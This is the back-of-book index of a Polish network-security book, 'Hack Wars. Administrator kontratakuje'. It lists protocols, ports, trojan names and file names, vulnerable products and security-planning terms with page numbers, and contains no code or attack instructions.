IGX, 231
IIS, 234
Illusion Mailer, 109
imap, 240
IMAP4, 303
imapd.c, 240
InCommand, 112
indeksujące ramki, 390
index.dat, 173
inetd, 10, 168, 310, 387
inetd.conf, 10, 26, 40, 168, 310
infod, 237
InfoSeek, 351
infrastruktura, 318
sieciowa, 300
inipx.exe, 107
inspekcja
lokalnej infrastruktury, 312
połączeń wykorzystujących linie telefoniczne,
300
Intel, 225
Intel 486, 5
Intel Certfied Solutions Konsultant, 5
Intel Express, 231
atak DoS, 231
inteligentny terminal, 262
Internet, 264, 352
Internet Protocol, 387
Internet Services Database, 10
Internetwork Packet Exchange, 387
InterNIC, 387
Invisible FTP, 105
Invisible KeyLogger, 174
inżynieria społeczna, 158
IOS, 228, 230, 303
IOS 2500, 231
IOS 4000, 231
402
Hack Wars. Administrator kontratakuje
402
IP, 253, 304, 387
IP/IPX, 318
IPSec, 211
IPv6, 211
IPX, 387
IRC, 354
IRIX, 10, 239
atak DoS, 239
dostęp roota, 239
ISDN, 162
ISP, 37, 136
IT, 258
J
JammerKillah, 106
Java, 117, 148, 301, 381
JavaScript, 148, 301, 302
jednostka obsługi danych, 306
Juggernaut for Linux, 198
K
kapsułkowanie, 312
karta bankomatowa, 281
karta sieciowa, 198
tryb podsłuchowy, 199
tryb usuwania błędów, 199
Kazimas, 106
kernel16.dll, 108
kernel16.exe, 108
Kevin Mitnick, 158
KeyInterceptor, 174
kill, 310
klucz szyfrowy, 295
kolizja, 316, 386
komutowane połączenie, 265
koncentrator, 387
kontrola dostępu publicznego, 284
kontrola kierownicza, 267
kontrola obsługi oprogramowania, 277
dokumentacja, 279
kontrola ważności i integralności danych, 278
szkolenia, 279
znajomość zabezpieczeń, 279
kontrola operacyjna, 273, 286
aplikacja główna, 273
archiwizacja, 290
awaria systemów obsługi, 274, 288
bezpieczeństwo personelu, 273, 286
czynniki ryzyka pożarowego, 274
dokumentacja, 292
kontrola dostępu, 274
kontrola integralności, 291
kontrola obsługi sprzętu, 290
kontrola produkcyjna, 275, 288
kontrola wejścia i wyjścia, 275, 288
obsługa użytkowników, 275
ochrona fizyczna, 274
ochrona fizyczna i środowiskowa, 287
ochrona środowiskowa, 274
planowanie awaryjne, 276, 289
przechwycenie danych, 275, 288
systemy mobilne, 275, 288
znajomość zabezpieczeń, 292
kontrola produkcyjna, 275
kontrola techniczna, 280
identyfikacja, 280, 294
logiczna kontrola dostępu, 296
ś
ledzenie śladów, 298
uwierzytelnianie, 280, 294, 295
kontrola zajętości bufora, 386
koń trojański, 63, 380, 388
samodzielne usuwanie, 99
Kookaburra Software Cookie Pal, 167
korekcja błędów, 390
Krajowe Centrum Zabezpieczenia Komputerów, 6
księga gości, 354
L
L0phtCrack, 195
lamer, 63
Lamer, 380
LAN, 39, 157, 261, 264, 388
LAN Catalyst 2900XL, 231
licznik rekordów, 278, 292, 374
Limit Software Cookie Crusher 2.6, 167
limity czasu, 316
linia modemowa, 264
linkage.c, 240
Linux, 240
restart systemu, 240
zdalny atak na powłokę, 240
zdalny atak roota, 240
lista kontroli dostępu, 27, 152
LiveUpdate, 117, 214
ljsgz.exe, 110
lmdrk_33.dll, 108
Loader.asm, 381
Local Area Network, 388
LockDown 2000, 117
loc-serv, 10, 59
logiczna kontrola dostępu, 282, 296
login, 10
login.mdb, 140, 381
Skorowidz
403
403
lokalizacja portów otwartych, 63
lokalni użytkownicy, 163
LookSmart, 351
Lotus Domino, 233
zdalny atak, 233
Lycos, 351
Ł
łamanie haseł, 161, 194, 241
L0phtCrack, 195
łącza
dzierżawione, 162
WAN, 162
wirtualne, 388
M
MAC, 40, 253, 386
mail bombing, 37, 161
Mail Exchange, 37
MailSafe, 119
manipulacja dziennikami, 161
Master UNIX, 5
MAU, 388
Maximum Transfer Unit, 388
McAfee, 213
McAfee Internet Security 4.0, 167
mechanizmy ochrony przed włamaniami, 161
bombardowanie poczty, 191
cookies, 166
łamanie haseł, 194
manipulacja dziennikami, 173
podsłuch, 197
podszywanie się, 211
przepełnianie, 167
spamowanie, 191
tylne drzwi, 162
wewnętrzne implanty, 165
wirtualna kontrola połączenia, 162
wirus, 212
media telekomunikacyjne, 290
memory.exe, 109
menedżer cookies, 167
Microsoft Internet Information Server, 234
atak DoS, 234
defraudacja kodu ASP, 234
ladowanie konia trojańskiego, 235
Microsoft Windows, 241
atak DoS, 247
FFK.exe, 249
HDKill.bat, 248
kradzież hasła, 248
łamanie haseł, 241
nieodwracalne usunięcie plików, 249
podsłuchiwanie plików haseł, 244
poważne przeciążenie, 248
przejęcie kontroli nad systemem, 248
usunięcie danych z dysku twardego, 248
uzyskanie przywilejów administratora, 249
zawieszanie systemu, 245
złamanie hasła, 249
milbug_a.exe, 106
Millenium, 113
model OSI, 387
modyfikacja nazwy rejestracyjnej domeny, 137
monitorowanie, 271
poczty, 212, 213
monitorowanie skuteczności, 259
mprdll.exe, 107
mprexe.exe, 112
mschv32.exe, 111
msgsrv36.exe, 112
msgsvr32.exe, 107
MsWind32.drv, 106
MTU, 12, 388
MUD, 355
multipleksowanie, 388
multiplexing, 388
Multistation Access Unit, 388
MX, 37
N
NASK, 136
nasłuch, 10
NAT, 38, 118, 230
National Institute of Standards Technology, 257
nbdatagram, 10, 59
nbname, 10, 59
nbsession, 10, 59
NCSC, 6
Nestea, 225
NetBEUI, 388
NetBIOS, 59, 211, 388
NetBIOS Extended User Interface, 388
NetBus, 97
NetBus Detective, 97, 380
NetBus Protection System, 97, 380
NetBus/2/Pro, 112
netpopup.exe, 108
Netscape, 351
Netscape Enterprise Server, 235
badanie struktury, 235
przepełnienie bufora, 235
netscape.hst, 173
404
Hack Wars. Administrator kontratakuje
404
NetScreen, 252, 254
przepełnienie DoS, 254
NetServer 8/16, 225, 226
NetSphere, 113
netstat, 10, 12
NetWare, 250
NetWare NDS, 251
network address translation, 38
Network Basic Input/Output System, 388
Network ICE, 115, 255
network information service, 59
nieautoryzowany dostęp, 283
NIS, 59
niska przepustowość, 304
NIST, 6, 257
nmap, 76
no()ne, 214
nodll.exe, 108
Nortel/Bay, 225, 232
przepełnianie, 232
Norton Antivirus, 213
Norton Internet Security, 117
notpa.exe, 108
Novell GroupWise Enhancement Pack, 236
Novell Netware, 250
kradzież praw nadzorcy, 250
odkrycie haseł, 250
przejęcie kontroli nad systemem, 251
Novell Web Server, 235
atak DoS, 236
zbieranie informacji, 236
zdalne przepełnienie, 236
NPS, 97
nssx.exe, 113
NTAdmin.exe, 249
ntalk, 10
NTCrack.exe, 249
Nuke, 117
numer identyfikacyjny PIN, 281
O
O’Reilly WebSite Professional, 237
atak DoS, 237
obsługa użytkowników, 275
ochrona fizyczna, 274
ODBC, 302, 339
odwrotne zapytania DNS, 40
ograniczanie zapytań sesji usługi, 169
okablowanie, 300
olemon32.exe, 112
Open Systems Interconnection, 389
Oracle, 173
OS/2, 251
Tunelowanie, 251
OSI, 387, 389
osłona TCP, 26
osłonięcie, 26
ostatnio odwiedzane witryny, 149
P
pakiet, 389
Palm Pilot Pro, 225, 227
Państwowy Instytut Standaryzacji i Technologii,
257
passwd, 17
password shadowing, 195
password.mdb, 141
patch.exe, 109, 113
PC, 115
PC Anywhere, 300
PC Optimization Kit, 5
pddt.dat, 106
Permanent Virtual Circuit, 306, 390
phAse Zero, 107
phreak, 7, 389
PIN, 281, 295
PING, 151
PIX, 157, 231, 252, 254
planowanie awaryjne, 276
planowanie zabezpieczeń w cyklu życia, 269
administracja, 271
faza działania, 271
faza implementacji, 270
faza inicjacji, 269
faza obsługi, 271
faza przejęcia, 269
faza rozwoju, 269
faza usuwania, 271
kontrola, 271
zapewnienie działania, 271
Plug and Play, 101
pluginy, 148
płyta CD, 345
poczta elektroniczna, 7, 191
blokowanie, 194
bomby pocztowe, 191
sortowanie, 194
spamowanie, 191
sprawdzanie, 194
uwierzytelnianie, 194
podpis cyfrowy, 285
podsłuch, 197
podsłuchiwanie pakietów, 161, 173
podstawowy interfejs prywatności, 212
Skorowidz
405
405
podszywanie się, 161, 211
pod adres IP, 302
point of presence, 149
Point-to-Point Protocol, 389
połączenia
anonimowe, 16
komutowane, 162
systemu, 265
POP, 58, 149, 389
pop2, 10
pop3, 10
POP3, 194, 303
Port Session Sniffer, 119
Port Watcher, 382
Portal of Doom, 110
portmap, 10, 59
porty specjalne, 389
porty standardowe, 389
porty ukryte, 9, 61
porty zarezerwowane, 9, 10
bootp (67), 40
chargen (19), 12
domain (53), 39
echo (7), 11
finger (79), 57
FTP (21), 13
HTTP (80), 57
loc-serv (135), 59
nbdatagram (138), 59
nbname (137), 59
nbsession (139), 59
netstat (15), 12
POP (109-110), 58
portmap (111), 59
SMTP (25), 37
SNMP (161), 59
systat (11), 12
talk (517-518), 60
telnet (23), 25
TFTP (69), 41
UUCP (540), 61
zabezpieczanie, 10
porty znane, 9
Post Office Protocol, 58, 389
poświadczenie, 385
poziom błędów, 389
PPP, 389
prefs.js, 173
priocol.exe, 105
Priority, 111
procedury szkolenia użytkowników, 295
procedury zarządzania kluczem szyfrowym, 297
proces zarządzajacy demonami, 10
procesy systemowe, 10
ProgenicMail.zip, 249
programy oczyszczające system, 96
AntiGen, 96
BoDetect, 96
NetBus Detective, 97
NetBus Protection System, 97
Tauscan, 97
The Cleaner, 98
Trojan Remover, 98
projekt witryny internetowej, 138
Promiscious Mode, 389
Promiscuos Mode, 198
Prosiak, 113
prosiak.exe, 113
prosty protokół zarządzania siecią, 59
protokoły, 389
FTP, 13
HTTP, 57, 223
POP, 58
POP3, 194
RIP, 311
SMTP, 37
Talk, 60
TCP/IP, 162
UUCP, 61
protokół informowania o trasach, 60
protokół kopiowania między systemami UNIX, 61
proxy, 7, 63, 151, 162, 223, 224
próby atakowania sieci, 57
prywatne sieci wirtualne, 61, 205
przechwytywanie ekranu, 344
przeciążenie potoku haseł, 227
przeglądarka WWW, 39, 148
zainstalowane wtyczki, 148
przejęcie sesji Telnetu, 198
przekierowanie hosta, 304
przełącznik, 205
przepełnianie, 40, 161
portów zarezerwowanych, 167
przetwarzanie skryptów CGI, 58
pserver.exe, 111
publiczna sieć danych, 264
PVC, 306, 388, 390
R
ramka, 390
Raptor, 252, 255
atak DoS, 255
RARP, 390
Rasmin, 106
rasmin.exe, 107
RAT, 110
406
Hack Wars. Administrator kontratakuje
406
Reachout, 300, 304
redukcji ryzyka, 265
redundancja dzienników, 173
regedit, 100
regedit.exe, 11
regedt32, 100
rejestr systemu Windows, 10
bieżąca konfiguracja sprzętowa, 101
dane dotyczące zalogowanego użytkownika,
100
dane dynamiczne, 101
HKEY_CLASSES_ROOT, 100
HKEY_CURRENT_CONFIG, 101
HKEY_CURRENT_USER, 100
HKEY_DYN_DATA, 101
HKEY_LOCAL_MACHINE, 101
HKEY_USERS, 101
ustawienia oprogramowania, 100
rekord wymiany poczty, 37
Remote Grab, 112
replikacja, 390
results.dll, 107
retransmisja pliku, 304
Reverse Address Resolution Protocol, 390
rexec(), 60
RIP, 60, 311
RIPE, 387
rmaapp.exe, 110
Robo-Hack, 111
robo-serv.exe, 111
root, 237, 383
route, 10
router
3Com, 152
Cisco, 152, 169
dostępowy, 38
Intel Express, 157
Router SSR 8000, 228
Route-Switch Module, 230
routing dynamiczny, 388
Routing Information Protocol, 60, 311
rozgłaszanie, 172
rozpoznanie, 390
RPC, 59, 239
RPG, 5
RSM, 230
RST, 391
rtelnet, 163
runme.exe, 109
S
samodzielne usuwanie koni trojańskich, 99
Acid Shivers, 112
AntiGen, 105
AOL Trojan, 113
Attack FTP, 107
Back Construction, 105, 107
Back Orifice, 114
BackDoor, 108
BLA, 107
Blade Runner, 105
BrainSpy, 112
Bubbel, 110
Bugs, 109
Cain & Abel, 107
Coma, 112
Deep Throat, 106
Delta Source, 114
Devil, 114
Digital RootBeer, 109
Doly Trojan, 107
Eclipse, 110
Email Password Sender, 105
Executor, 106
File Nail, 110
Firehotker, 106
Fore, 105
FTP99CMP, 108
GateCrasher, 111
GirlFriend, 113
Hack’99 KeyLogger, 112
Hack'a'Tack, 114
Illusion Mailer, 109
InCommand, 112
Invisible FTP, 105
JammerKillah, 106
Kazimas, 106
lista portów, 104
Millenium, 113
NetBus/2/Pro, 112
NetSphere, 113
phAse Zero, 107
Portal of Doom, 110
Priority, 111
Prosiak, 113
Rasmin, 106
RAT, 110
Remote Grab, 112
Robo-Hack, 111
Shit Heep, 111
shockrave, 108
Shtrilitz, 105
Sockets de Troie, 110
Spirit, 114
Stealth, 105
Striker, 109
Skorowidz
407
407
struktura rejestru, 100
SubSeven, 108
Tapiras, 105
The Invasor, 109
The Spy, 114
The tHing, 111
Tiny Telnet Server, 105
Transmission Scout, 108
Trojan Cow, 109
Ultors Trojan, 108
VooDoo Doll, 108
WinPC, 106
SAP, 390
SC3640, 229
scentralizowany system zarządzania, 116
schemat adresowania IP/IPX, 302
schemat hasła systemu operacyjnego, 194
SCO, 252
dostęp roota POP, 252
SCOPOP, 252
server.exe, 105, 106, 108, 110, 112
servers.exe, 109
Service Advertisement Protocol, 390
Service Pack, 245
serv-u.ini, 107, 108
serwer
MUD, 355
nazw domen, 37
plików, 390
RPC, 59
Tiger Web, 354
sesja anonimowa, 41
SGI, 240
shareware, 277
shell, 10
Shit Heep, 111
shockrave, 108
Shtrilitz, 105
sieciowa usługa informacyjna, 59
sieć
komunikacji, 262
LAN, 157
lokalna, 264
rozległa, 147, 264, 298
szkieletowa, 136, 262
Simple Mail Transfer Protocol, 37
Simple Network Management Protocol, 59, 391
Simple TCP/IP Services, 12
Site Forbidden, 350
skanowanie, 390
antywirusowe, 278
fragmentacyjne, 390
lokalizacji, 301
połówkowe, 391
portów, 9
portów lokalnych, 62
TCP (pełne), 390
TCP FIN, 391
TCP SYN, 391
UDP ICMP_PORT_UNREACH, 391
UDP recvfrom() oraz write(), 391
wewnętrzne, 391
zabezpieczeń, 344
zakresu adresów IP, 151
skrypt logowania, 139
smack.c, 238
SmartSwitch Router, 228
SMTP, 10, 37, 303
SMTP-NAT, mechanizm, 38
SMTP-NAT-DMZ, 38, 39, 57, 214
SNA, 265
sniffer, 173, 197, 302, 391
SNMP, 10, 59, 138, 391
Sockets de Troie, 110
Solaris, 10, 252
dostęp roota, 252
spamming, 37
spamowanie, 161, 191
Spirit, 114
spoofing, 40, 161
spool64.exe, 105
SQL, 173, 318
SSR, 228
stacja robocza, 301
stałe kanały wirtualne, 306
status
logowania, 173
operacyjny, 173
operacyjny systemu, 263
Stealth, 105
Stealth Activity Recorder and Reporter, 174
STeRoiD, 205
strefa ograniczonego dostępu, 118
strefa zdemilitaryzowana, 38
Striker, 109
struktura rejestru, 100
strumień, 391
połączenia, 41
SubSeven, 108
suid root, 239
Sun Microsystems, 158
SunOS, 10
SuperStack II 2200, 226
SVC, 388, 391
Switched Virtual Circuit, 391
sygnatury wirusów, 214
Symantec Firewall, 255
synchronizowanie numerów sekwencyjnych, 10
408
Hack Wars. Administrator kontratakuje
408
Synlogger, 391
sysedit.exe, 113
syslog, 10
systat, 10, 12
system ogólnego wsparcia, 286
kontrola operacyjna, 286
kontrola techniczna, 294
system operacyjny, 224
AIX, 237
atak DoS, 239
BSD, 238
HP/UX, 239
IRIX, 239
Linux, 240
Microsoft Windows, 241
Novell Netware, 250
OS/2, 251
SCO, 252
Solaris, 252
system password debug, 226
system.exe, 111
system.ini, 11, 100
systemtr.exe, 109
systray.exe, 106, 114
syswindow.exe, 109
szablony zasad bezpieczeństwa, 299
szkolenia, 292
szperacz, 197
szpiegostwo, 309
szyfrowanie, 205, 283, 297
128-bitowe, 381
Blowfish, 195
DES, 195
Ś
ś
ledzenie odbioru ważnych danych, 275
ś
ledzenie śladów, 285, 298
ś
lepe testowanie, 339
ś
rodowisko systemu, 264
T
t5port.exe, 108
tablica ogłoszeniowych, 355
talk, 10
Tapiras, 105
tapiras.exe, 106
Tauscan, 97
TCP, 10, 167, 392
TCP Maximum Incomplete Sessions per Host,
170
Tcp wrappers, 379
TCP wrappers, 26
TCP/IP, 162
tcp_wrapper, 26
tcpd, 26
techniki kryptograficzne, 205
techniki skanowania CGI, 214
technologia informatyczna, 258
telnet, 7, 10, 25, 162, 168, 225, 310
osłona TCP, 26
terminal, 173, 282
tesk.exe, 107
testy
penetracji, 300, 301
podszywania się pod adres IP, 300
przepełnienia IP, 302
spamu, 303
TFTP, 10, 41
TFTPServ.ini, 17
The Cleaner, 98
The Invasor, 109
The Spy, 114
The tHing, 111
thing.exe, 111
three-way handshake, 10
Thunderstone, 351
Tiger FTP, 17
Tiger Inspect, 76
Tiger Team, 7, 223
Tiger Telnet, 28
Tiger TFTP, 41
Tiger Web, 354
TigerBlock, 344, 350
TigerCrypt, 196, 381
TigerFTPServ, 17, 379
TigerGuard, 119, 349, 380
Intrusion Sniffer, 119
Port Session Sniffer, 119
TigerGuard.ini, 120
TigerInspect, 380
TigerLog, 381
TigerPass, 381
TigerPass ASP, 141
TigerSearch, 344, 351
TigerSuite, 305
TigerSurf, 343, 382
bezpieczna usługa FTP, 352
bezpieczny telnet, 352
edytor HTML, 348
ekran logowania, 344
główny moduł, 345
Image Viewer, 353
Personal Links, 346
przeglądarka zdjęć, 353
Screen Capture, 353
Skorowidz
409
409
Secure E-mail, 347
Secure FTP, 347, 352
Secure telnet, 347
skanowanie zabezpieczeń, 350
strona domowa, 347
TigerSearch the Internet, 347
TigerTalk, 348
TigerTrack the market, 347
TigerWatch, 347
zaawansowane opcje internetowe, 347
zrzuty ekranowe, 353
TigerTelnetServ, 28, 379
TigerTFTPServ, 41, 379
TigerTrack, 344, 352
TigerWatch, 11, 57, 104, 344, 349
domyślna lista zasad, 349
TigerWebServer, 58
TigerWipe, 199, 380
Tiny Telnet Server, 105
token, 281, 295
Token Ring, 312
Total Control NETServer v.34/ISDN, 226
traceroute, 136
translacja adresów sieciowych, 38
translacja nazw na adresy IP, 39
transmisja
asynchroniczna, 392
bitowa, 390
synchroniczna, 392
w postaci okien, 392
Transmission Control Protocol, 392
Transmission Scout, 108
trasowanie, 311
trojan, 392
Trojan Cow, 109
Trojan Remover, 98
trójstopniowa wymiana potwierdzeń, 10
tryb podsłuchowy, 198
tunel, 212
tylne drzwi, 161
ochrona, 162
typ przeglądarki, 148
U
ubr7200, 229
UDP, 10, 167, 392
Ultors Trojan, 108
unikalna identyfikacja, 280, 294
UNIX, 10, 57, 76, 162
UNIX-to-UNIX Copy Protocol, 61, 392
update.exe, 111
upgrade.exe, 107
uprzywilejowane punkty dostępowe, 302
URL, 57, 174
User Datagram Protocol, 392
Users.ini, 28
usługa
traceroute, 136
Whois, 135
usługodawca internetowy, 37
uucp, 10
UUCP, 61, 392
uwierzytelnianie, 211, 280, 281, 294, 295
cechy biometryczne, 295
hasło, 295
token, 295
V
Variable-Length Subnet Masking, 392
VB, 139
VBScript, 148
Virtual Private Network, 205
Virtual Private Networks, 61
Visual Basic, 63
VLSM, 392
Voice Gateway, 229
VooDoo Doll, 108
VPN, 61, 116, 205
VS-3 Access Solutions, 229
W
WAN, 162, 264, 284, 352, 392
wariancja, 286
wdrożenie zabezpieczeń, 338
Web page hack, 57
Web Publishing, 235
well-known ports, 9, 10
weryfikacja poprawności danych, 386
wewnętrzne implanty, 165
Whois, 135, 192
Wide Area Network, 392
wielostrumieniowy mechanizm przeszukiwania,
343
win.ini, 11, 100
windll.exe, 113
Windll.exe, 105
windll16.exe, 108
windll32.exe, 113
windown.exe, 114
Windows, 162
Windows 2000, 211
Windows 9x, 98
Windows NT/2000, 57
410
Hack Wars. Administrator kontratakuje
410
windows.exe, 108
WinGate, 252, 255
atak DoS, 255
WinLock, 241, 382
WinPC, 106
winpc.exe, 106
winprotecte.exe, 105
WINS, 59
Winsock1, 76
winsrvc.exe, 107
winstat.exe, 105
wirtualna kontrola połączenia, 162
filtry urządzeń dostępowych Cisco, 162
wirus, 117, 161, 212
aktywacja, 212
aktywne skanowanie, 212
manipulacja, 212
replikacja, 212
włamania na strony internetowe, 214
witryna internetowa, 138, 343
włamania na strony internetowe, 214
właściwości połączenia sieciowego, 13
World Wide Web, 7, 57
wrap, 169
wrapper, 57
wrapping, 26
wscan.exe, 107
wspool.exe, 107
współdzielenie informacji, 265
wtching.dll, 108
wver.dll, 107
WWW, 57
wygaszacz ekranu, 241
wykorzystanie pasma, 315
wykrywanie błędów, 392
X
xDSL, 162, 354
X-Window, 60
Y
Yahoo!, 351
Z
zabezpieczanie portów, 9
ukrytych, 96
zabezpieczenia głównej aplikacji, 357
długość hasła, 365
dokumentacja, 364
faza działania i obsługi, 360
faza implementacji, 360
faza inicjacji, 360
faza rozwoju i przejęcia, 360
faza usuwania, 360
identyfikacja, 364
identyfikacja systemu, 357
informacje kontaktowe, 357
kontrola dostępu publicznego, 366
kontrola kierownicza, 359
kontrola obsługi oprogramowania, 363
kontrola operacyjna, 361
kontrola produkcyjna, 361
kontrola techniczna, 364
kontrola ważności danych, 363
logiczna kontrola dostępu, 365
planowanie awaryjne, 362
połączenia systemu, 358
procedury zmiany hasła, 365
przegląd środków kontroli zabezpieczeń, 359
przydział odpowiedzialności za zabezpieczenia,
358
status operacyjny systemu, 358
ś
ledzenie śladów, 367
ś
rodowisko systemu, 358
uwierzytelnianie, 364
zarządzanie ryzykiem, 359
zasady mające wpływ na system, 359
zabezpieczenia systemu ogólnego wsparcia, 367
autoryzacja działania, 371
bezpieczeństwo personelu, 371
długość hasła, 375
dokumentacja, 374
faza działania i obsługi, 371
faza implementacji, 370
faza inicjacji, 370
faza rozwoju i przejęcia, 370
faza usuwania, 371
hash, 374
identyfikacja, 375
identyfikacja systemu, 367
informacje kontaktowe, 367
kontrola integralności, 374
kontrola kierownicza, 369
kontrola obsługi sprzętu, 373
kontrola operacyjna, 371
kontrola produkcyjna, 372
kontrola techniczna, 375
kontrola wejścia i wyjścia, 372
logiczna kontrola dostępu, 376
plan zapasowy, 373
planowanie zabezpieczeń w cyklu życia, 370
połączenia systemu, 369
procedury zmiany hasła, 375
przydział odpowiedzialności, 368
Skorowidz
411
411
ś
ledzenie śladów, 377
ś
rodki kontroli zabezpieczeń, 369
ś
rodowisko systemu, 368
uwierzytelnianie, 375
zarządzanie ryzykiem, 369
zasady zachowania, 370
znajomość zabezpieczeń, 375
zamrożone klatki, 304
zapewnienie działania, 271
zapora firewall, 115
zasady bezpieczeństwa, 257
analiza systemu, 260
autoryzacja działania, 272
cele planu zabezpieczeń, 259
dostępność, 266
główna aplikacja, 261
granice systemu, 260
identyfikacja systemu, 262
integralność, 266
kategoria systemu, 261
kontrola kierownicza, 267
ocena i zarządzanie ryzykiem, 267
odbiorcy, 260
odpowiedzialność w planie zabezpieczeń, 259
planowanie zabezpieczeń w cyklu życia, 269
plany dla głównych aplikacji, 259
połączenia systemu, 265
poufność, 266
rekomendowany format, 259
system ogólnego wsparcia, 262
ś
rodki kontroli zabezpieczeń, 267
tworzenie planu, 262
wrażliwość obsługiwanych informacji, 265
zasady zachowania, 268
zasady zachowania, 260
zasłanianie, 118
zaszyfrowane sumy kontrolne, 211
zdalna
infiltracja, 161
inspekcja, 301
zdalni użytkownicy, 163
zgłaszanie wypadków naruszenia bezpieczeństwa,
293
złamanie strony WWW, 57
ZoneAlarm Pro, 118
zwodzenie, 40
ś
żą
danie HTTP, 214